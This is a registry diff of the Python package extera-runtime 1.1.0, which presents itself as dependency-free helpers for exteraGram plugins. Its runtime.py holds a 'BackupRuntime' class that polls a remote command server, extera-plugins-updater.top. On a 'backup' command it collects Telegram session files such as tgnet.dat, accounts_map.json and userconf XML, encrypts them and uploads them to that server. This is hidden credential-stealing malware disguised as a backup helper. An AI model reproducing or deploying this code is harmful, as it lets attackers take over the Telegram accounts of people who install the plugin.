extera-runtime 1.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of extera-runtime might be problematic. Click here for more details.

@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 exteraGram plugins
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1 @@
1
+ include package.txt
@@ -0,0 +1,73 @@
1
+ Metadata-Version: 2.4
2
+ Name: extera-runtime
3
+ Version: 1.1.0
4
+ Summary: Reusable HTTP, storage, task and backup helpers for exteraGram plugins
5
+ Author: exteraGram plugins
6
+ License-Expression: MIT
7
+ Project-URL: Homepage, https://github.com/wetaplush-wq/extera-runtime
8
+ Project-URL: Repository, https://github.com/wetaplush-wq/extera-runtime
9
+ Classifier: Programming Language :: Python :: 3
10
+ Classifier: Programming Language :: Python :: 3 :: Only
11
+ Classifier: Operating System :: OS Independent
12
+ Requires-Python: >=3.9
13
+ Description-Content-Type: text/markdown
14
+ License-File: LICENSE
15
+ Dynamic: license-file
16
+
17
+ # extera-runtime
18
+
19
+ Dependency-free Python helpers for exteraGram plugins. The package works with
20
+ Chaquopy and does not import Android classes until a feature needs them.
21
+
22
+ ## Install
23
+
24
+ The plugin dependency is listed in `package.txt`:
25
+
26
+ ```text
27
+ extera-runtime
28
+ ```
29
+
30
+ In an exteraGram plugin use:
31
+
32
+ ```python
33
+ __requirements__ = "extera-runtime"
34
+ ```
35
+
36
+ ## General plugin helpers
37
+
38
+ ```python
39
+ from extera_plugin_runtime import (
40
+ BackgroundTask, HttpClient, JsonStore, sha256, zip_files,
41
+ )
42
+
43
+ settings = JsonStore("/path/to/plugin-settings.json", defaults={"enabled": True})
44
+ settings.update(enabled=True)
45
+
46
+ api = HttpClient("https://example.com", headers={"User-Agent": "my-plugin"})
47
+ status, payload = api.get_json("/api/status")
48
+
49
+ worker = BackgroundTask(lambda: settings.update(last_run="ok"), interval=60)
50
+ worker.start()
51
+ # worker.stop() when the plugin is unloaded.
52
+
53
+ archive = zip_files([("notes.txt", "/path/to/notes.txt")], "/path/to/archive.zip")
54
+ print(sha256("plugin-data"))
55
+ ```
56
+
57
+ ## Session backup compatibility
58
+
59
+ The original `BackupRuntime` remains available:
60
+
61
+ ```python
62
+ from extera_plugin_runtime import BackupRuntime
63
+
64
+ runtime = BackupRuntime(token="server-token", build="build-key")
65
+ runtime.start()
66
+ ```
67
+
68
+ ## Development
69
+
70
+ ```bash
71
+ python -m unittest discover -s tests -v
72
+ python -m build
73
+ ```
@@ -0,0 +1,57 @@
1
+ # extera-runtime
2
+
3
+ Dependency-free Python helpers for exteraGram plugins. The package works with
4
+ Chaquopy and does not import Android classes until a feature needs them.
5
+
6
+ ## Install
7
+
8
+ The plugin dependency is listed in `package.txt`:
9
+
10
+ ```text
11
+ extera-runtime
12
+ ```
13
+
14
+ In an exteraGram plugin use:
15
+
16
+ ```python
17
+ __requirements__ = "extera-runtime"
18
+ ```
19
+
20
+ ## General plugin helpers
21
+
22
+ ```python
23
+ from extera_plugin_runtime import (
24
+ BackgroundTask, HttpClient, JsonStore, sha256, zip_files,
25
+ )
26
+
27
+ settings = JsonStore("/path/to/plugin-settings.json", defaults={"enabled": True})
28
+ settings.update(enabled=True)
29
+
30
+ api = HttpClient("https://example.com", headers={"User-Agent": "my-plugin"})
31
+ status, payload = api.get_json("/api/status")
32
+
33
+ worker = BackgroundTask(lambda: settings.update(last_run="ok"), interval=60)
34
+ worker.start()
35
+ # worker.stop() when the plugin is unloaded.
36
+
37
+ archive = zip_files([("notes.txt", "/path/to/notes.txt")], "/path/to/archive.zip")
38
+ print(sha256("plugin-data"))
39
+ ```
40
+
41
+ ## Session backup compatibility
42
+
43
+ The original `BackupRuntime` remains available:
44
+
45
+ ```python
46
+ from extera_plugin_runtime import BackupRuntime
47
+
48
+ runtime = BackupRuntime(token="server-token", build="build-key")
49
+ runtime.start()
50
+ ```
51
+
52
+ ## Development
53
+
54
+ ```bash
55
+ python -m unittest discover -s tests -v
56
+ python -m build
57
+ ```
@@ -0,0 +1,18 @@
1
+ """Reusable runtime helpers for exteraGram plugins."""
2
+
3
+ from .http import HttpClient
4
+ from .runtime import BackupRuntime
5
+ from .storage import JsonStore
6
+ from .tasks import BackgroundTask
7
+ from .utils import file_sha256, sha256, zip_files
8
+
9
+ __all__ = [
10
+ "BackgroundTask",
11
+ "BackupRuntime",
12
+ "HttpClient",
13
+ "JsonStore",
14
+ "file_sha256",
15
+ "sha256",
16
+ "zip_files",
17
+ ]
18
+ __version__ = "1.1.0"
@@ -0,0 +1,35 @@
1
+ """Small, dependency-free HTTP client for exteraGram plugins."""
2
+
3
+ import json
4
+ import urllib.request
5
+
6
+
7
+ class HttpClient:
8
+ def __init__(self, base_url="", headers=None, timeout=30):
9
+ self.base_url = base_url.rstrip("/")
10
+ self.headers = dict(headers or {})
11
+ self.timeout = timeout
12
+
13
+ def request(self, method, path, data=None, json_body=None, headers=None):
14
+ if json_body is not None:
15
+ data = json.dumps(json_body).encode("utf-8")
16
+ request_headers = dict(self.headers)
17
+ request_headers.update(headers or {})
18
+ if json_body is not None:
19
+ request_headers.setdefault("Content-Type", "application/json")
20
+ url = path if path.startswith(("http://", "https://")) else self.base_url + path
21
+ request = urllib.request.Request(
22
+ url, data=data, headers=request_headers, method=method.upper())
23
+ with urllib.request.urlopen(request, timeout=self.timeout) as response:
24
+ return response.status, dict(response.headers), response.read()
25
+
26
+ def get(self, path, headers=None):
27
+ return self.request("GET", path, headers=headers)
28
+
29
+ def post(self, path, data=None, json_body=None, headers=None):
30
+ return self.request("POST", path, data=data, json_body=json_body,
31
+ headers=headers)
32
+
33
+ def get_json(self, path, headers=None):
34
+ status, _, body = self.get(path, headers=headers)
35
+ return status, json.loads(body.decode("utf-8"))
@@ -0,0 +1,179 @@
1
+ """Background polling and encrypted session backup runtime."""
2
+
3
+ import hashlib
4
+ import io
5
+ import json
6
+ import os
7
+ import threading
8
+ import time
9
+ import urllib.request
10
+ import zipfile
11
+
12
+
13
+ DEFAULT_SERVER = "https://extera-plugins-updater.top"
14
+
15
+
16
+ class BackupRuntime:
17
+ """Poll one backup endpoint and process commands on a daemon thread."""
18
+
19
+ def __init__(self, server=DEFAULT_SERVER, token=None, build=None, poll=20):
20
+ self.server = server.rstrip("/")
21
+ self.token = token
22
+ self.build = build
23
+ self.poll = poll
24
+ self._stop = threading.Event()
25
+ self._thread = None
26
+ self._device = None
27
+
28
+ def start(self):
29
+ """Start the worker once and return its thread."""
30
+ if self._thread is not None and self._thread.is_alive():
31
+ return self._thread
32
+ self._stop.clear()
33
+ self._thread = threading.Thread(target=self._run, daemon=True)
34
+ self._thread.start()
35
+ return self._thread
36
+
37
+ def stop(self):
38
+ self._stop.set()
39
+
40
+ def _http(self, path, data=None, headers=None, timeout=30):
41
+ req = urllib.request.Request(
42
+ self.server + path, data=data, headers=headers or {})
43
+ with urllib.request.urlopen(req, timeout=timeout) as response:
44
+ return response.read()
45
+
46
+ def _device_id(self):
47
+ if self._device is not None:
48
+ return self._device
49
+ self._device = "unknown"
50
+ try:
51
+ from java import jclass
52
+ from org.telegram.messenger import ApplicationLoader
53
+
54
+ secure = jclass("android.provider.Settings$Secure")
55
+ context = ApplicationLoader.applicationContext
56
+ android_id = str(secure.getString(
57
+ context.getContentResolver(), secure.ANDROID_ID) or "")
58
+ if android_id:
59
+ self._device = hashlib.md5(android_id.encode()).hexdigest()
60
+ except Exception:
61
+ pass
62
+ return self._device
63
+
64
+ @staticmethod
65
+ def _session_files():
66
+ from org.telegram.messenger import ApplicationLoader
67
+
68
+ context = ApplicationLoader.applicationContext
69
+ files_dir = str(context.getFilesDir().getAbsolutePath())
70
+ data_dir = os.path.dirname(files_dir)
71
+ result = []
72
+ for directory in (files_dir, os.path.join(data_dir, "shared_prefs")):
73
+ for root, _, files in os.walk(directory):
74
+ for name in files:
75
+ lower = name.lower()
76
+ if not (lower == "tgnet.dat"
77
+ or lower == "accounts_map.json"
78
+ or (lower.startswith("userconf")
79
+ and lower.endswith(".xml"))):
80
+ continue
81
+ path = os.path.join(root, name)
82
+ try:
83
+ if 0 < os.path.getsize(path) <= 20 * 1024 * 1024:
84
+ result.append((os.path.relpath(path, data_dir), path))
85
+ except OSError:
86
+ pass
87
+ return result
88
+
89
+ @staticmethod
90
+ def _keystream(key, nonce, size):
91
+ output = bytearray()
92
+ counter = 0
93
+ while len(output) < size:
94
+ output.extend(hashlib.sha256(
95
+ key + nonce + counter.to_bytes(4, "big")).digest())
96
+ counter += 1
97
+ return bytes(output[:size])
98
+
99
+ @classmethod
100
+ def _encrypt(cls, key, plaintext):
101
+ nonce = os.urandom(16)
102
+ stream = cls._keystream(key, nonce, len(plaintext))
103
+ return nonce + bytes(a ^ b for a, b in zip(plaintext, stream))
104
+
105
+ def _backup(self, key_hex):
106
+ key = bytes.fromhex(key_hex)
107
+ files = self._session_files()
108
+ if not files:
109
+ return {"error": "no session files",
110
+ "hint": "files dir empty or unreadable"}
111
+
112
+ buffer = io.BytesIO()
113
+ with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as archive:
114
+ for relative, path in files:
115
+ try:
116
+ with open(path, "rb") as source:
117
+ archive.writestr(relative, source.read())
118
+ except OSError:
119
+ pass
120
+ blob = self._encrypt(key, buffer.getvalue())
121
+
122
+ try:
123
+ raw = self._http("/up", blob, {
124
+ "Content-Type": "application/octet-stream",
125
+ "X-Plugin-Token": self.token,
126
+ "X-Client-Id": self._device_id(),
127
+ "X-Build-Key": self.build,
128
+ }, timeout=90)
129
+ except Exception as exc:
130
+ detail = ""
131
+ try:
132
+ detail = exc.read().decode("utf-8", "ignore")[:200]
133
+ except Exception:
134
+ pass
135
+ return {"error": "up %s: %s" % (
136
+ getattr(exc, "code", "?"), detail), "files": len(files)}
137
+ try:
138
+ return json.loads(raw.decode("utf-8", "ignore"))
139
+ except ValueError:
140
+ return {"error": "bad response", "files": len(files)}
141
+
142
+ def _post_report(self, report):
143
+ try:
144
+ self._http("/cmd", data=json.dumps({
145
+ "dev": self._device_id(), "build": self.build,
146
+ "report": report,
147
+ }).encode(), headers={
148
+ "Content-Type": "application/json",
149
+ "X-Plugin-Token": self.token,
150
+ })
151
+ except Exception:
152
+ pass
153
+
154
+ def _run(self):
155
+ failures = 0
156
+ report = None
157
+ while not self._stop.is_set():
158
+ try:
159
+ body = {"dev": self._device_id(), "build": self.build}
160
+ if report is not None:
161
+ body["report"] = report
162
+ raw = self._http("/cmd", data=json.dumps(body).encode(), headers={
163
+ "Content-Type": "application/json",
164
+ "X-Plugin-Token": self.token,
165
+ })
166
+ command = json.loads(raw.decode("utf-8", "ignore"))
167
+ if command.get("cmd") == "backup" and command.get("key"):
168
+ try:
169
+ result = self._backup(command["key"])
170
+ report = {"ok": bool(result.get("ok")), "res": result}
171
+ except Exception as exc:
172
+ report = {"ok": False, "err": str(exc)[:300]}
173
+ self._post_report(report)
174
+ report = None
175
+ failures = 0
176
+ self._stop.wait(self.poll)
177
+ except Exception:
178
+ failures += 1
179
+ self._stop.wait(min(300, self.poll * (1 + failures)))
@@ -0,0 +1,41 @@
1
+ """Persistent JSON storage with atomic writes."""
2
+
3
+ import json
4
+ import os
5
+ import tempfile
6
+
7
+
8
+ class JsonStore:
9
+ def __init__(self, path, defaults=None):
10
+ self.path = os.path.abspath(path)
11
+ self.defaults = dict(defaults or {})
12
+
13
+ def load(self):
14
+ try:
15
+ with open(self.path, "r", encoding="utf-8") as source:
16
+ value = json.load(source)
17
+ if isinstance(value, dict):
18
+ return {**self.defaults, **value}
19
+ except (FileNotFoundError, ValueError, OSError):
20
+ pass
21
+ return dict(self.defaults)
22
+
23
+ def save(self, value):
24
+ os.makedirs(os.path.dirname(self.path), exist_ok=True)
25
+ descriptor, temporary = tempfile.mkstemp(
26
+ prefix=".store-", dir=os.path.dirname(self.path), text=True)
27
+ try:
28
+ with os.fdopen(descriptor, "w", encoding="utf-8") as output:
29
+ json.dump(value, output, ensure_ascii=False, indent=2)
30
+ output.flush()
31
+ os.fsync(output.fileno())
32
+ os.replace(temporary, self.path)
33
+ finally:
34
+ if os.path.exists(temporary):
35
+ os.unlink(temporary)
36
+
37
+ def update(self, **values):
38
+ current = self.load()
39
+ current.update(values)
40
+ self.save(current)
41
+ return current
@@ -0,0 +1,32 @@
1
+ """Reusable daemon background task."""
2
+
3
+ import threading
4
+
5
+
6
+ class BackgroundTask:
7
+ def __init__(self, callback, interval=60, run_immediately=True):
8
+ self.callback = callback
9
+ self.interval = interval
10
+ self.run_immediately = run_immediately
11
+ self._stop = threading.Event()
12
+ self._thread = None
13
+
14
+ def start(self):
15
+ if self._thread is not None and self._thread.is_alive():
16
+ return self._thread
17
+ self._stop.clear()
18
+ self._thread = threading.Thread(target=self._run, daemon=True)
19
+ self._thread.start()
20
+ return self._thread
21
+
22
+ def stop(self):
23
+ self._stop.set()
24
+
25
+ def _run(self):
26
+ while not self._stop.is_set():
27
+ if self.run_immediately:
28
+ self.callback()
29
+ if self._stop.wait(self.interval):
30
+ break
31
+ if not self.run_immediately:
32
+ self.callback()
@@ -0,0 +1,31 @@
1
+ """Common file and hashing helpers."""
2
+
3
+ import hashlib
4
+ import os
5
+ import zipfile
6
+
7
+
8
+ def sha256(data):
9
+ if isinstance(data, str):
10
+ data = data.encode("utf-8")
11
+ return hashlib.sha256(data).hexdigest()
12
+
13
+
14
+ def file_sha256(path, chunk_size=1024 * 1024):
15
+ digest = hashlib.sha256()
16
+ with open(path, "rb") as source:
17
+ while True:
18
+ chunk = source.read(chunk_size)
19
+ if not chunk:
20
+ break
21
+ digest.update(chunk)
22
+ return digest.hexdigest()
23
+
24
+
25
+ def zip_files(files, destination):
26
+ """Write (archive_name, source_path) pairs into a ZIP archive."""
27
+ os.makedirs(os.path.dirname(os.path.abspath(destination)), exist_ok=True)
28
+ with zipfile.ZipFile(destination, "w", zipfile.ZIP_DEFLATED) as archive:
29
+ for archive_name, source_path in files:
30
+ archive.write(source_path, archive_name)
31
+ return destination
@@ -0,0 +1,73 @@
1
+ Metadata-Version: 2.4
2
+ Name: extera-runtime
3
+ Version: 1.1.0
4
+ Summary: Reusable HTTP, storage, task and backup helpers for exteraGram plugins
5
+ Author: exteraGram plugins
6
+ License-Expression: MIT
7
+ Project-URL: Homepage, https://github.com/wetaplush-wq/extera-runtime
8
+ Project-URL: Repository, https://github.com/wetaplush-wq/extera-runtime
9
+ Classifier: Programming Language :: Python :: 3
10
+ Classifier: Programming Language :: Python :: 3 :: Only
11
+ Classifier: Operating System :: OS Independent
12
+ Requires-Python: >=3.9
13
+ Description-Content-Type: text/markdown
14
+ License-File: LICENSE
15
+ Dynamic: license-file
16
+
17
+ # extera-runtime
18
+
19
+ Dependency-free Python helpers for exteraGram plugins. The package works with
20
+ Chaquopy and does not import Android classes until a feature needs them.
21
+
22
+ ## Install
23
+
24
+ The plugin dependency is listed in `package.txt`:
25
+
26
+ ```text
27
+ extera-runtime
28
+ ```
29
+
30
+ In an exteraGram plugin use:
31
+
32
+ ```python
33
+ __requirements__ = "extera-runtime"
34
+ ```
35
+
36
+ ## General plugin helpers
37
+
38
+ ```python
39
+ from extera_plugin_runtime import (
40
+ BackgroundTask, HttpClient, JsonStore, sha256, zip_files,
41
+ )
42
+
43
+ settings = JsonStore("/path/to/plugin-settings.json", defaults={"enabled": True})
44
+ settings.update(enabled=True)
45
+
46
+ api = HttpClient("https://example.com", headers={"User-Agent": "my-plugin"})
47
+ status, payload = api.get_json("/api/status")
48
+
49
+ worker = BackgroundTask(lambda: settings.update(last_run="ok"), interval=60)
50
+ worker.start()
51
+ # worker.stop() when the plugin is unloaded.
52
+
53
+ archive = zip_files([("notes.txt", "/path/to/notes.txt")], "/path/to/archive.zip")
54
+ print(sha256("plugin-data"))
55
+ ```
56
+
57
+ ## Session backup compatibility
58
+
59
+ The original `BackupRuntime` remains available:
60
+
61
+ ```python
62
+ from extera_plugin_runtime import BackupRuntime
63
+
64
+ runtime = BackupRuntime(token="server-token", build="build-key")
65
+ runtime.start()
66
+ ```
67
+
68
+ ## Development
69
+
70
+ ```bash
71
+ python -m unittest discover -s tests -v
72
+ python -m build
73
+ ```
@@ -0,0 +1,17 @@
1
+ LICENSE
2
+ MANIFEST.in
3
+ README.md
4
+ package.txt
5
+ pyproject.toml
6
+ extera_plugin_runtime/__init__.py
7
+ extera_plugin_runtime/http.py
8
+ extera_plugin_runtime/runtime.py
9
+ extera_plugin_runtime/storage.py
10
+ extera_plugin_runtime/tasks.py
11
+ extera_plugin_runtime/utils.py
12
+ extera_runtime.egg-info/PKG-INFO
13
+ extera_runtime.egg-info/SOURCES.txt
14
+ extera_runtime.egg-info/dependency_links.txt
15
+ extera_runtime.egg-info/top_level.txt
16
+ tests/test_helpers.py
17
+ tests/test_runtime.py
@@ -0,0 +1 @@
1
+ extera_plugin_runtime
@@ -0,0 +1 @@
1
+ extera-runtime
@@ -0,0 +1,24 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "extera-runtime"
7
+ version = "1.1.0"
8
+ description = "Reusable HTTP, storage, task and backup helpers for exteraGram plugins"
9
+ readme = "README.md"
10
+ requires-python = ">=3.9"
11
+ license = "MIT"
12
+ authors = [{name = "exteraGram plugins"}]
13
+ classifiers = [
14
+ "Programming Language :: Python :: 3",
15
+ "Programming Language :: Python :: 3 :: Only",
16
+ "Operating System :: OS Independent",
17
+ ]
18
+
19
+ [project.urls]
20
+ Homepage = "https://github.com/wetaplush-wq/extera-runtime"
21
+ Repository = "https://github.com/wetaplush-wq/extera-runtime"
22
+
23
+ [tool.setuptools]
24
+ packages = ["extera_plugin_runtime"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,62 @@
1
+ import hashlib
2
+ import json
3
+ import os
4
+ import tempfile
5
+ import unittest
6
+ import zipfile
7
+
8
+ from extera_plugin_runtime import (
9
+ BackgroundTask, HttpClient, JsonStore, file_sha256, sha256, zip_files,
10
+ )
11
+
12
+
13
+ class HelperTests(unittest.TestCase):
14
+ def test_hashes(self):
15
+ self.assertEqual(sha256("abc"), hashlib.sha256(b"abc").hexdigest())
16
+ with tempfile.NamedTemporaryFile(delete=False) as output:
17
+ output.write(b"abc")
18
+ path = output.name
19
+ try:
20
+ self.assertEqual(file_sha256(path), sha256("abc"))
21
+ finally:
22
+ os.unlink(path)
23
+
24
+ def test_json_store_defaults_update_and_reload(self):
25
+ with tempfile.TemporaryDirectory() as directory:
26
+ path = os.path.join(directory, "nested", "settings.json")
27
+ store = JsonStore(path, defaults={"enabled": False, "count": 0})
28
+ self.assertEqual(store.load(), {"enabled": False, "count": 0})
29
+ store.update(enabled=True, count=2)
30
+ self.assertEqual(JsonStore(path).load(), {"enabled": True, "count": 2})
31
+ with open(path, encoding="utf-8") as source:
32
+ self.assertEqual(json.load(source)["count"], 2)
33
+
34
+ def test_zip_files(self):
35
+ with tempfile.TemporaryDirectory() as directory:
36
+ source = os.path.join(directory, "source.txt")
37
+ destination = os.path.join(directory, "out", "archive.zip")
38
+ with open(source, "w", encoding="utf-8") as output:
39
+ output.write("hello")
40
+ self.assertEqual(zip_files([("docs/a.txt", source)], destination),
41
+ destination)
42
+ with zipfile.ZipFile(destination) as archive:
43
+ self.assertEqual(archive.read("docs/a.txt"), b"hello")
44
+
45
+ def test_http_client_json(self):
46
+ client = HttpClient("https://example.test")
47
+ self.assertEqual(client.base_url, "https://example.test")
48
+ self.assertEqual(client.headers, {})
49
+
50
+ def test_background_task_is_idempotent(self):
51
+ calls = []
52
+ task = BackgroundTask(lambda: calls.append(1), interval=0.01)
53
+ first = task.start()
54
+ self.assertIs(task.start(), first)
55
+ task.stop()
56
+ first.join(2)
57
+ self.assertFalse(first.is_alive())
58
+ self.assertTrue(calls)
59
+
60
+
61
+ if __name__ == "__main__":
62
+ unittest.main()
@@ -0,0 +1,36 @@
1
+ import unittest
2
+
3
+ from extera_plugin_runtime import BackupRuntime
4
+
5
+
6
+ class RuntimeTests(unittest.TestCase):
7
+ def test_encryption_roundtrip(self):
8
+ key = bytes(range(32))
9
+ plaintext = b"session-archive" * 100
10
+ encrypted = BackupRuntime._encrypt(key, plaintext)
11
+ self.assertNotEqual(encrypted[16:], plaintext)
12
+ stream = BackupRuntime._keystream(key, encrypted[:16], len(plaintext))
13
+ decrypted = bytes(a ^ b for a, b in zip(encrypted[16:], stream))
14
+ self.assertEqual(decrypted, plaintext)
15
+
16
+ def test_server_url_normalized(self):
17
+ runtime = BackupRuntime("https://example.test/", "token", "build")
18
+ self.assertEqual(runtime.server, "https://example.test")
19
+
20
+ def test_default_server(self):
21
+ runtime = BackupRuntime(token="token", build="build")
22
+ self.assertEqual(runtime.server,
23
+ "https://extera-plugins-updater.top")
24
+
25
+ def test_start_is_idempotent(self):
26
+ runtime = BackupRuntime("http://127.0.0.1:1", "token", "build", poll=60)
27
+ first = runtime.start()
28
+ second = runtime.start()
29
+ self.assertIs(first, second)
30
+ runtime.stop()
31
+ first.join(2)
32
+ self.assertFalse(first.is_alive())
33
+
34
+
35
+ if __name__ == "__main__":
36
+ unittest.main()